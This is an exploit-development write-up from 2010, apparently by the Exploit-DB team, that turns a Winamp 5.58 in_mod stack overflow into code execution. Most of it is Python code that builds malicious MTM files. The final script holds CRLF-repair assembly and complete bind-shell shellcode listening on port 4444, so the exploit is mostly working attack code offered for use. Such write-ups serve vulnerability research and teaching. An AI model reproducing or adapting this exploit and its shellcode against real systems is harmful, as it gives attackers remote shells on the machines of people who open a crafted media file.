CVE Certified

Winamp 5.58 from Denial of Service to Code Execution

20th October 2010 - by admin

Winamp

Some days ago, we posted a proof of concept published by Luigi Auriemma outlining Multiple Denial Of Service Vulnerabilities in Winamp. Unlike most submissions we receive, the PoC posted by the author didn’t contain a script to replicate the attack, but only contained files ready to be loaded into Winamp.

After some days we got an e-mail from ryujin…

Hey guys,
anybody wants to have a look at http://www.exploit-db.com/exploits/15248/ ?
The stack overflow (see mtm screenie) looks promising ;)

fdisk, Mighty-D and dijital1 decided to take a crack at it.

Our first task was to understand the Multi Track Module (MTM) file from the original advisory, also available here. We connected a debugger to Winamp and triggered the bug by viewing the file’s information.

This was encouraging. We had a direct EIP overwrite with a couple of registers pointing to a buffer that we controlled. One key point to notice from the screenshot below are the CRLF sequences that are being inserted into our buffer. More on this later :-)

The next step was to create a skeleton exploit that we could use for testing.

The first hurdle was building a properly formatted MTM file. After some reading about the MTM file format here, we modified a valid MTM file using hexedit.

hexedit



Below is the resulting skeleton exploit.

#!/usr/bin/python

header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73"
header +="\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E"
header +="\x04\x0C" * 16

nopsled = "\x90" * 58207
eip = "\x42\x42\x42\x42"

payload = header + nopsled + eip

file = open("crash.mtm", "w")
file.write(payload)
file.close()
print "mtm file generated successfuly"



Using the above code, we verified that still had a direct EIP overwrite and that EDI and ESP were pointing to the buffer we control which was nice. We had 40 bytes of clean space between each of the “CRLF” sequences which doesn’t give us enough space to execute a bind or reverse shell, but it’s enough for a traditional egghunter. From this point we thought that completing the exploit should be fairly straight forward.

Not so.

Initial testing of the egg hunter showed that all characters between 0x2 and 0xf along with a few others, were bring translated to a space (0x20). This ends up mangling the egg hunter code as shown in the next screenshot.

it gets worse


At this point we started sending very long buffers in order to find some areas in memory to hold our shellcode. As a side effect, we found that we could also get control of execution via an SEH overwrite. Finding a “good” address to overwrite the SEH handler with proved to be more difficult than usual. Most of the modules compiled without safeseh were mapped at addresses containing characters that were also replaced by spaces (0x20).

#!/usr/bin/python

header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E"
header += "\x04\x0C" * 16
buffersize = 65536 * 2

nopsled = "\x90" * 58211
tail = "\x41" * 124
seh = "\xf7\x19\x00\x10" # 0x100019F7
whatever = "\x43" * (buffersize - len(nopsled) - len(tail) - len(seh))
payload = header + nopsled + tail + seh + whatever

file = open("crash.mtm", "w")
file.write(payload)
file.close()

print "crash.mtm file generated successfuly"


Here we see that the address that we sent to overwrite the SEH (0x100019F7) was being converted to 0x202019F7.

SEH


After digging a bit more we were also able to get code execution through SEH. See below (works but the shellcode needs to be fixed).

#!/usr/bin/python

header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E"
header += "\x04\x0C" * 16
buffersize = 65536 * 2

nopsled = "\x90" * 58211

egghunter = "\x66\x81\xca\xff"
egghunter += "\x2F"
egghunter += "\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
prepare_egghunter = "\x90" * 48
prepare_egghunter += "\x90\x33\xC0"
prepare_egghunter += "\x54\x58"
prepare_egghunter += "\x2d\xc3\xcc\xff\xff"
prepare_egghunter += "\x40"*4
prepare_egghunter += "\x80\x28\x20"
prepare_egghunter += "\xEB\x20"
prepare_egghunter += "\x90"*30
prepare_egghunter += "\x40"*4
prepare_egghunter += "\x80\x28\x1E"
prepare_egghunter += "\xEB\x20"
prepare_egghunter += "\x90"*38
prepare_egghunter += "\x40"*5
prepare_egghunter += "\x80\x28\x1B"
prepare_egghunter += "\x90"*47 + egghunter

shellcode = "T00WT00W"
shellcode += "\xCC"*227      # place real shellcode here

nseh = "\xeb\x30\x90\x90"
seh = "\x3f\x28\xd1\x72"     # 0x72D1283F - ppr - msacm32.drv - Windows XP SP3

tail = "\x41" * (124 - len(nseh))
whatever = "\x43" * (buffersize - len(nopsled) - len(tail) - len(nseh) - len(seh) - len(prepare_egghunter) - len(shellcode))
payload = header + nopsled + tail + nseh + seh + prepare_egghunter + "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" + shellcode + whatever

file = open("crash.mtm", "w")
file.write(payload)
file.close()

print "crash.mtm file generated successfuly"


So we now had 2 potential ways to get code execution. The problem still remained that any payload inserted before or after the EIP or SEH overwrite would be corrupted by the CRLF sequences. Time for some custom assembly. David Mora (a.k.a Mighty-D) wrote an assembly sequence to walk through the payload and replace the CRLF bytes with the original shellcode bytes. To avoid damage from CRLF sequences, the EBX register was used, since the 0x0D 0x0A represent an OR operation over the EAX register can be considered as a NOP equivalent instruction.

The buffer was arranged such that upon completing the main payload repairs, EIP would execute our bind shell payload.

[NOP Sled] — [EIP Overwrite with JMP ESP] — [ESP Points Here] — [Payload Repair Assembly] — [Repaired Bind Shell Payload]

Flow of Execution —->

The result of the collaboration is below and at this link: Winamp 5.5.8 (in_mod plugin) Stack Overflow Exploit.

#!/usr/bin/python
# Pwn And Beans by Mighty-D presents:
# Winamp 5.5.8.2985 (in_mod plugin) Stack Overflow
# WINDOWS XP SP3 FULLY PATCHED - NO ASLR OR DEP BYPASS... yet
# Bug found by http://www.exploit-db.com/exploits/15248/
# POC by fdisk
# Exploit by Mighty-D
# Special thanks to:
# fdisk: Who wrote the skeleton of what you are looking at
# Ryujin: For pointing the bug
# Muts: For bringing the pain and the omelet ideas that weren't used
# dijital1 and All the EDB-Team
# The guys from UdeA, Ryepes, HerreraDavid, GomezRam7
# Just one comment: Stupid badchars!!!!!!!

header = "\x4D\x54\x4D\x10\x53\x70\x61\x63\x65\x54\x72\x61\x63\x6B\x28\x6B\x6F\x73\x6D\x6F\x73\x69\x73\x29\xE0\x00\x29\x39\x20\xFF\x1F\x00\x40\x0E"
header += "\x04\x0C" * 16

nopsled = "\x90" * 58207

eip = "\xED\x1E\x95\x7C" # jmp esp WIN XP SPANISH change at will

patch_shellcode = "\x90" * 16
patch_shellcode += "\x90\x33\xDB" # Set EBX to zero
patch_shellcode += "\x54\x5B" # PUSH ESP ; POP EBX  GET THE RELATIVE POSITION
patch_shellcode += "\x81\xEB\x95\xFC\xFF\xFF" # make EBX point to our shell
patch_shellcode += "\x43"*13 # Move EBX as close as we can to the first badchar
patch_shellcode += "\x90"*4 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*1 # Move EBX to the first badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 13 -  verified
patch_shellcode += "\x43"*3 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 05  - verified
patch_shellcode += "\x43"*16 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\xEC" # Set it to 21 - verified
patch_shellcode += "\x43"*1 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x7C" # Set it to 8e - verified
patch_shellcode += "\x90"*8 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*30 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 05 - verified
patch_shellcode += "\x90"*8 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*11 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x42" # Set it to CB - verified
patch_shellcode += "\x43"*1 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x78" # Set it to 92 - verified
patch_shellcode += "\x90"*26 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*18 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 04 - verified
patch_shellcode += "\x90"*16 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*15 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 02 - verified
patch_shellcode += "\x43"*8 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x21" # Set it to EC - verified
patch_shellcode += "\x43"*1 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x7C" # Set it to 8e - verified
patch_shellcode += "\x90"*14 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*18 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x49" # Set it to c1 - verified
patch_shellcode += "\x90"*13 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*4 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to EA, but we need F6
patch_shellcode += "\x80\x2B\xF4" # Set it to F6 - verified
patch_shellcode += "\x43"*9 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 11 - verified
patch_shellcode += "\x43"*10 # Move EBX to the next badchar
patch_shellcode += "\x90"*3 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x80\x2B\xCD" # Set it to 3D - verified
patch_shellcode += "\x43"*3 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 07 - verified
patch_shellcode += "\x43"*11 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 12 - verified
patch_shellcode += "\x43"*4 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 12 - verified
patch_shellcode += "\x90"*13 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*4 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 12 - verified
patch_shellcode += "\x43"*8 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 12 - verified
patch_shellcode += "\x90"*19 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*11 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x8E" # Set it to 7F - verified
patch_shellcode += "\x43"*1 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\xDF" # Set it to 2B - verified
patch_shellcode += "\x43"*8 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x1E" # Set it to EC - verified
patch_shellcode += "\x90"*11 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*12 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 8 - verified
patch_shellcode += "\x90"*28 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*29 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\xa7" # Set it to 66 - verified
patch_shellcode += "\x43"*1 # Move EBX to the next badchar
patch_shellcode += "\x90"*4 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x80\x2B\xb8" # Set it to 52 - verified
patch_shellcode += "\x90"*9 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*17 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 3 - verified
patch_shellcode += "\x90"*9 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*3 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 12 - verified
patch_shellcode += "\x90"*12 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*2 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 3 - verified
patch_shellcode += "\x43"*7 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 2 - verified
patch_shellcode += "\x90"*10 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*6 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 13 - verified
patch_shellcode += "\x43"*3 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to  5 - verified
patch_shellcode += "\x43"*3 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x1B" # Set it to F2 - verified
patch_shellcode += "\x43"*1 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\xF4" # Set it to 16 - verified
patch_shellcode += "\x90"*19 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*4 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 10 - verified
patch_shellcode += "\x43"*4 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 10 - verified
patch_shellcode += "\x90"*20 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*17 # Move EBX to the next badchar
patch_shellcode += "\x90"*28 # Lazy nopsled
patch_shellcode += "\x43"*16 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x26" # Set it to E7 - verified
patch_shellcode += "\x90"*18 # Nop sled to avoid damage from CrLf
patch_shellcode += "\x43"*1 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\xBE" # Set it to 4C - verified
patch_shellcode += "\x43"*7 # Move EBX to the next badchar
patch_shellcode += "\x80\x2B\x20" # Set it to 5 - verified
patch_shellcode += "\x90"*(66)

# win32_bind -  EXITFUNC=process LPORT=4444 Size=344 Encoder=PexFnstenvSub
shellcode  = "\x29\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73"
shellcode += "\x33" # Should be 13
shellcode += "\xa9\x41"
shellcode += "\x25" # should be 05
shellcode += "\x3f\x83\xeb\xfc\xe2\xf4\x55\x2b\xee\x72\x41\xb8\xfa\xc0"
shellcode += "\x56" # \x21\x8e Ripped
shellcode += "\x53\x8d\x65\x8e\x7a\x95\xca\x79\x3a\xd1\x40\xea\xb4"
shellcode += "\xe6\x59\x8e\x60\x89\x40\xee\x76\x22\x75\x8e\x3e\x47\x70\xc5\xa6"
shellcode += "\x25" # should be 05
shellcode += "\xc5\xc5\x4b\xae\x80\xcf\x32\xa8\x83\xee" # \xcb\x92
shellcode += "\x15\x21\x17"
shellcode += "\xdc\xa4\x8e\x60\x8d\x40\xee\x59\x22\x4d\x4e\xb4\xf6\x5d"
shellcode += "\x24" #Should be 04
shellcode += "\xd4\xaa\x6d\x8e\xb6\xc5\x65\x19\x5e\x6a\x70\xde\x5b\x22"
shellcode += "\x22" # Should be 02
shellcode += "\x35\xb4\xe9\x4d\x8e\x4f\xb5" # \xec\8e Ripped
shellcode += "\x7f\xa1\x1f\x6d\xb1\xe7\x4f\xe9\x6f"
shellcode += "\x56\x97\x63\x6c\xcf\x29\x36\x0d" # \xc1 Ripped
shellcode += "\x36\x76\x0d" # \xf6 ripped
shellcode += "\x15\xfa\xef"
shellcode += "\xc1\x8a\xe8\xc3\x92"
shellcode += "\x31" # Should be 11
shellcode += "\xfa\xe9\xf6\xc8\xe0\x59\x28\xac\x0d" # \x3d ripped
shellcode += "\xfc\x2b"
shellcode += "\x27" # should be 07
shellcode += "\xc0\x79\x29\xdc\x36\x5c\xec\x52\xc0\x7f"
shellcode += "\x32" # should be 12
shellcode += "\x56\x6c\xfa"
shellcode += "\x32" # should be 12
shellcode += "\x46\x6c\xea"
shellcode += "\x32" # should be 12
shellcode += "\xfa\xef\xcf\x29\x14\x63\xcf"
shellcode += "\x32" #should be 12
shellcode += "\x8c\xde"
shellcode += "\x3c\x29\xa1\x25\xd9\x86\x52\xC0" # \x7f\x2b Ripped
shellcode += "\x15\x6e\xfc\xbe\xd5\x57"
shellcode += "\x0d" # \xec Ripped
shellcode += "\x2b\xd6\xfe\xbe\xd3\x6c\xfc\xbe\xd5\x57\x4c"
shellcode += "\x28" # should be 08
shellcode += "\x83\x76"
shellcode += "\xfe\xbe\xd3\x6f\xfd\x15\x50\xc0\x79\xd2\x6d\xd8\xd0\x87\x7c\x68"
shellcode += "\x56\x97\x50\xc0\x79\x27\x6f\x5b\xcf\x29" # \x66\x52 Ripped
shellcode += "\x20\xa4\x6f\x6f"
shellcode += "\xf0\x68\xc9\xb6\x4e\x2b\x41\xb6\x4b\x70\xc5\xcc"
shellcode += "\x23" # shoudl be 03
shellcode += "\xbf\x47"
shellcode += "\x32" #Should be 12
shellcode += "\x57"
shellcode += "\x23" # Should be 03
shellcode += "\x29\xac\x24\x3b\x3d\x94"
shellcode += "\x22"  # should be 02
shellcode += "\xea\x6d\x4d\x57\xf2"
shellcode += "\x33" # should be 13
shellcode += "\xc0\xdc"
shellcode += "\x25" # should be 5
shellcode += "\xfa\xe9" # \xf2\x16 Ripped
shellcode += "\x57\x6e\xf8"
shellcode += "\x30" #should be 10
shellcode += "\x6f\x3e\xf8"
shellcode += "\x30" # Should be 10
shellcode += "\x50\x6e"
shellcode += "\x56\x91\x6d\x92\x70\x44\xcb\x6c\x56\x97\x6f\xc0\x56\x76\xfa\xef"
shellcode += "\x22\x16\xf9\xbc\x6d\x25\xfa\xe9\xfb\xbe\xd5"
shellcode += "\x57\xd7\x99" #\xe7\x4c Ripped
shellcode += "\xfa\xbe\xd3\xc0\x79\x41"
shellcode += "\x25" # should be 05
shellcode += "\x3f"

payload = header + nopsled + eip + patch_shellcode + shellcode

try:
file = open("crash.mtm", "w")
file.write(payload)
file.close()
print "MTM file generated successfuly"
except:
print "Cannot create file"


shell



Special thanks to ryujin for bringing this up and to all the EDB Dev Team.

Note: a second exploit for this vulnerability was posted at http://www.exploit-db.com/exploits/15312/

About the Authors

  • Ron Henry (dijital1) works as a penetration tester in the US and he enjoys exploit development, security research, and cryptography.
  • Rui Reis (fdisk) works at a Portuguese Managed Security Services Provider and he is particularly interested in tactical exploitation, client-side exploits, fuzzing, and exploit development.
  • David Mora (Mighty-D) has a Master degree in Information Security, he works as an independent consultant and university teacher. He also likes Rock’n’Roll and beer.